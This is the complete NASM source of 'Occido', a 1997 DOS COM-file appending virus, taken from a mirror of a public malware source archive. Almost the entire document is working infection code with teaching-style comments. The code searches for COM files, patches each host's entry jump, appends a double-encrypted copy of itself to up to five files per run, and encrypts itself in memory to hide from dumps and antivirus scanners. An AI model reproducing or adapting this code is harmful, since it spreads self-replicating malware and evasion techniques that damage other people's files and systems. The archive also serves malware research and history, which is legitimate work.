mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
286 lines
13 KiB
NASM
286 lines
13 KiB
NASM
; NAME: Occido.com ( 'Occido' = Several unfriendly meanings in Latin )
|
|
; TYPE: Appending
|
|
; ENCRYPTION: Yes ( Double )
|
|
; INFECTS: COM
|
|
; RESIDENT: No
|
|
; STEALTH: No
|
|
; DT: No ( Directory Transversal )
|
|
; REPAIRABLE: Yes
|
|
; PAYLOAD: No
|
|
; SIZE: 328 bytes
|
|
; AUTHOR: The Virus Elf
|
|
|
|
; Appends itself to files while encrypting itself with two different
|
|
; encryption routines. Only infects 5 files per run of an infected file.
|
|
; After infecting 5 files, or all in current directory, it will hide itself
|
|
; before closing. I just felt like doing it for more fun. If a person were
|
|
; to pause a running program and do a mem dump, the virus would not show up
|
|
; because it hides itself before returning control to the running progge.
|
|
|
|
start:
|
|
jmp Virus_start ; Jumps to the start of the virus. This
|
|
; will change as the virus is appended to
|
|
; different size files.
|
|
Virus_start:
|
|
call Delta ; Now we have to get the delta offset. By
|
|
; calling Delta we push the address of 'pop bp'
|
|
; onto the stack.
|
|
Delta:
|
|
pop bp ; Put the address into BP so it can be used.
|
|
sub bp,offset delta ; Now this takes the distance that Delta is now
|
|
; now (BP) and subtracts where it started
|
|
; (Offset Delta). Understand?? Hopefully you do!
|
|
; Because most files are different sizes, and this
|
|
; virus just attaches itself to the end we have
|
|
; to find out where it is before it can do anything.
|
|
|
|
Skip:
|
|
jmp DHidden ; We have to skip the decrypt part on the first run
|
|
|
|
Decrypt:
|
|
; Give length of area to decrypt to CX
|
|
;mov cx,cryptie-hidden ; This is written later to keep correct file size
|
|
; and offsets. It overwrites the 'jmp hidden'.
|
|
lea di,[bp+hidden] ; Start of area to decrypt
|
|
mov si,di ; its also the destination for decrypted part
|
|
call Cryptie ; Decrypts the virus from here to the decryption
|
|
; routine.
|
|
|
|
Hidden: ; Only encrypted once, because this is the decrypt
|
|
; call for the second layer.
|
|
lea di,[bp+Dhidden] ; Puts the starting address of the secong layer of
|
|
; encryption into DI
|
|
mov si,di ; Then SI
|
|
mov cx,DCryptie-Dhidden ; Gets the size for the next area to decrypt
|
|
mov dl,03h ; Decryption code value
|
|
call DCryptie ; Boom! Decrypts the second layer
|
|
|
|
DHidden: ; Area that is hidden with Double encryption
|
|
|
|
; Here we will write the saved bytes from the beggining of the file, back
|
|
; to where they belong, so that we may run the file as normal, after we
|
|
; infect some more files of course :)
|
|
|
|
lea si,[bp+saved] ; Notice the [bp+saved]. It accesses a memory locale
|
|
; that would be changed depending on infected file
|
|
; size. We just add our Delta offset to find out
|
|
; its exact location.
|
|
lea di,100h ; We are gonna write the saved bytes to the start
|
|
; so we run the program as normal after we infect
|
|
; some files.
|
|
mov cx,03h ; The number of bytes we have to write back to start
|
|
rep movsb ; Quickly restores the file so we can run it after
|
|
; we get through here.
|
|
|
|
lea si,[bp+frstbytes] ; We have to save these over the jmp
|
|
; so that later we can just copy Virus to mem
|
|
lea di,[bp+Skip] ; Where the skip instruction is
|
|
; We are gonna over write it with the Frstbytes
|
|
mov cx,03h ; Length of area
|
|
rep movsb ; Does the job
|
|
|
|
push 00h ; Pushes the 0 value to stack, this will keep
|
|
; a count of the files infected during each run.
|
|
|
|
mov ax,4E00h ; Function 4Eh: Find First
|
|
Findnext: ; Findnext jmp point
|
|
lea dx,[bp+filemask] ; Gets the filemask = '*.com',0
|
|
xor cx,cx ; No attributues in this search
|
|
int 21h ; Tells DOS to find the *.com files
|
|
|
|
jnc Open ; Found one, now open it!
|
|
|
|
jmp Badstuff ; NONE left, do some other stuff
|
|
|
|
Open: ; Open/Encrypt/Infect routines
|
|
|
|
mov ax,3D02h ; Function 3D: Open File
|
|
; 02 = Read/Write access
|
|
mov dx,9Eh ; Location of ASCIZ filename
|
|
int 21h ; Calls DOS to open the file, with Read/Write access
|
|
; so that we can write the virus to it :)
|
|
|
|
xchg bx,ax ; Gives the file handle from AX to BX in one byte.
|
|
|
|
mov ah,3Fh ; Function 3Fh: Read from file
|
|
mov cx,03h ; We are gonna read the first 3 bytes. CX = # of bytes
|
|
; to read from file.
|
|
lea dx,[bp+saved] ; The location for the bytes to be stored when read.
|
|
int 21h ; Calls DOS to load the first 3 bytes of Victem file
|
|
; into the 'Saved' location so that it may run correctly.
|
|
|
|
mov al,0E9h ; Checks to see if it was a jump instruction
|
|
cmp al,[bp+saved] ; by matching E9h to the first byte of the file.
|
|
jne Uninfected ; It can't be infected by this virus because the file
|
|
; has NO jmp at its beggining. If it does have a jmp
|
|
; but not from this program it could be from another
|
|
; virus, and double infecting can cause trouble.
|
|
jmp Infected
|
|
|
|
Uninfected:
|
|
|
|
mov ax,[80h+1Ah] ; Gets the filesize of the target file
|
|
sub ax,03h ; Takes into account the length of the JMP instruction
|
|
mov [bp+jumpto],ax ; Puts the location to jmp to as the
|
|
; 2nd,3rd bytes of the buffer.
|
|
|
|
|
|
mov ax,4200h ; Function 42h: Move File Pointer
|
|
; 00h = beggining, after the read the FP moves 3 bytes
|
|
xor cx,cx ; 0 = CX
|
|
xor dx,dx ; 0 = DX
|
|
int 21h ; Calls DOS, this is explained a bit more with the
|
|
; next "Move File Pointer" instruction
|
|
|
|
mov ah,40h ; Function 40h: Write to file
|
|
mov cx,03 ; Number of bytes to write. CX = # of bytes
|
|
lea dx,[bp+jumping]; Start at buffer area, this will write the jump
|
|
; instruction to the beggining of the victem file.
|
|
int 21h ; Blammo! This is the jmp that skips over the normal
|
|
; file and heads write to the virus code. INT 21h tells
|
|
; DOS to write those three bytes.
|
|
|
|
mov ax,4202h ; Function 42h: Move File pointer
|
|
; 02 = End of file ( EOF )
|
|
xor cx,cx ; DX:CX is the offset from the File pointer location,
|
|
xor dx,dx ; since we want to be exactly at the EOF we clear DX:CX
|
|
int 21h ; Calls DOS to move the file pointer
|
|
|
|
; Write the Virus to memory
|
|
|
|
VirL EQU Ende-Virus_Start
|
|
|
|
; Length of Virus except jmp at beggining
|
|
|
|
lea si,[bp+Virus_Start] ; Start of virus
|
|
lea di,[bp+buffer] ; Area that it will be stored in mem
|
|
mov cx,VirL ; Length of it
|
|
rep movsb
|
|
|
|
; Now we have to modify it so that it is encrypted
|
|
|
|
DHiddenL EQU DCryptie-DHidden ; Length of area to encrypt that will
|
|
; end up double encrypted.
|
|
HiddenL EQU Cryptie-Hidden ; Length of single encrypt area
|
|
DHBufStart EQU DHidden-Virus_Start+Buffer ; Start of DHidden in buffer
|
|
HBufStart EQU Hidden-Virus_Start+Buffer ; Start of Hidden in Buffer
|
|
|
|
; More ways to clear up the clutter
|
|
|
|
; Here we encrypt All but the second and first Decrypt calls, and the
|
|
; decryption routines that go with em.
|
|
|
|
lea si,[bp+DHBufStart] ; Time to encrypt the first area that will then
|
|
mov di,si ; be encrypted again, giving us our Doubly Encrypted
|
|
; area.
|
|
mov cx,DHiddenL ; Length of this area
|
|
mov dl,05h ; Encryption value
|
|
call DCryptie ; Calls the Second Encryption routine
|
|
; because this will become decrypted by the first
|
|
; when infected files are run.
|
|
|
|
; Now we encrypt from Hidden to Cryptie ( while encrypting DHidden to
|
|
; DCryptie for the second time ) which makes this double encrypting.
|
|
|
|
lea si,[bp+HBufStart] ; Start of Hidden area in buffer
|
|
mov di,si ; You should know this one by now.
|
|
mov cx,HiddenL ; Length of the area
|
|
call Cryptie ; Uhoh, now its encrypted and the AV software won't
|
|
; find it. Now what are we gonna do?
|
|
; ( Being sarcastic of course! )
|
|
|
|
; So we have the virus prepared for infecting :)
|
|
|
|
mov ah,40h ; Function 40h: Write to file ( everyone's fave )
|
|
lea dx,[bp+buffer] ; Start of virus in mem buffer
|
|
mov cx,VirL ; Length of it
|
|
int 21h ; Calls DOS to write this :)
|
|
|
|
pop cx ; This is gonna be the infected file count.
|
|
inc cx ; We must have found and infected one if we are here so
|
|
; makes sure it gets added to the total.
|
|
push cx ; Saves it so we can check again after the next file
|
|
; is found.
|
|
|
|
Infected: ; A place to jump in case the file is already infected
|
|
|
|
mov ah,3Eh ; Function 3Eh: Close File
|
|
int 21h ; Calls DOS to close up the file.
|
|
|
|
pop cx
|
|
push cx
|
|
cmp cl,05h ; Check to see if 5 files have been infected.
|
|
je BadStuff
|
|
mov ax,4F00h ; Function 4Fh: Find next
|
|
jmp Findnext
|
|
|
|
Badstuff: ; Here is where the payload goes
|
|
|
|
exit:
|
|
|
|
; Now we are gonna get outta here, first we should cover up any stuff
|
|
; that might show up in a mem dump, so that if anyone looks, all they
|
|
; see is garbage.
|
|
|
|
lea di,[bp+Virus_Start] ; Gets the location of the Virus_start and hides
|
|
; everything but the encryption itself. ( and the
|
|
; kitchen sink, of course )
|
|
mov si,di ; and put it into DI/SI so we can hide the virus
|
|
; from the host program.
|
|
mov cx,cryptie-Virus_start ; Gives length of area to hide into CX
|
|
call cryptie ; Calls the encryption loop to hide it
|
|
|
|
; Jumps to the start of the actual program.
|
|
;push 100h ; This is encrypted because the call to cryptie
|
|
;ret ; will decrypt it and it will be the only thing
|
|
db 87h,0EFh,0EEh,2Ch ; unencrypted ( along with the cryptie loop, but
|
|
; they are not very easily recognizable as virus
|
|
; code. )
|
|
|
|
Frstbytes:
|
|
mov cx,Cryptie - Hidden ; These will overwrite the jmp that skips the
|
|
; decrypt routines on the first run.
|
|
saved db 0CDh,020h,0h ; This is the storage space for the first
|
|
; three bytes from the infected file. CD20 is
|
|
; the 'int 20h' instruction used to exit.
|
|
jumping db 0E9h ; E9 = jmp
|
|
jumpto db 0,0 ; Place for the new address
|
|
filemask db '*.com',0 ; The type of files we are gonna infect.
|
|
message db 'Occido/The_Virus_Elf/10.08.97' ; Virus Info
|
|
|
|
DCryptie:
|
|
|
|
lodsb ; Gets next byte Doomed for De/Encryption
|
|
xchg dx,cx ; Saves the count while using the DE/ENcrypt value
|
|
; Uses 3 to decrypt and 5 to encrypt
|
|
rol al,cl ; Rotates those bits by CL
|
|
not al ; Opposite bits
|
|
neg al ; One's complement bits
|
|
not al ; More opposite bits
|
|
xor al,0C4h ; XORs the value
|
|
not al ; See above
|
|
neg al ; " "
|
|
not al ; " "
|
|
rol al,cl ; " "
|
|
xchg cx,dx ; Returns the count value to CX
|
|
stosb ; Puts the encrypted byte into mem
|
|
loop DCryptie ; Does all the bytes specified by CX
|
|
ret ; Jumps back to the caller
|
|
|
|
Cryptie:
|
|
|
|
lodsb ; Gets the next byte to De/Encrypt
|
|
ror al,04h ; Rotates the bits 4 places
|
|
xor al,0C4h ; Does a little XORing
|
|
not al ; Gets the opposite bits
|
|
neg al ; Gets the one's complement bits
|
|
not al ; Gets the opposite bis again
|
|
xor al,0C4h ; More XORing
|
|
ror al,04h ; Rotates the bits Back 4 places
|
|
stosb ; Plugs AL back into mem
|
|
loop Cryptie ; Does all the bytes specified by CX
|
|
ret ; Jumps back to where it was called
|
|
|
|
buffer:
|
|
ende:
|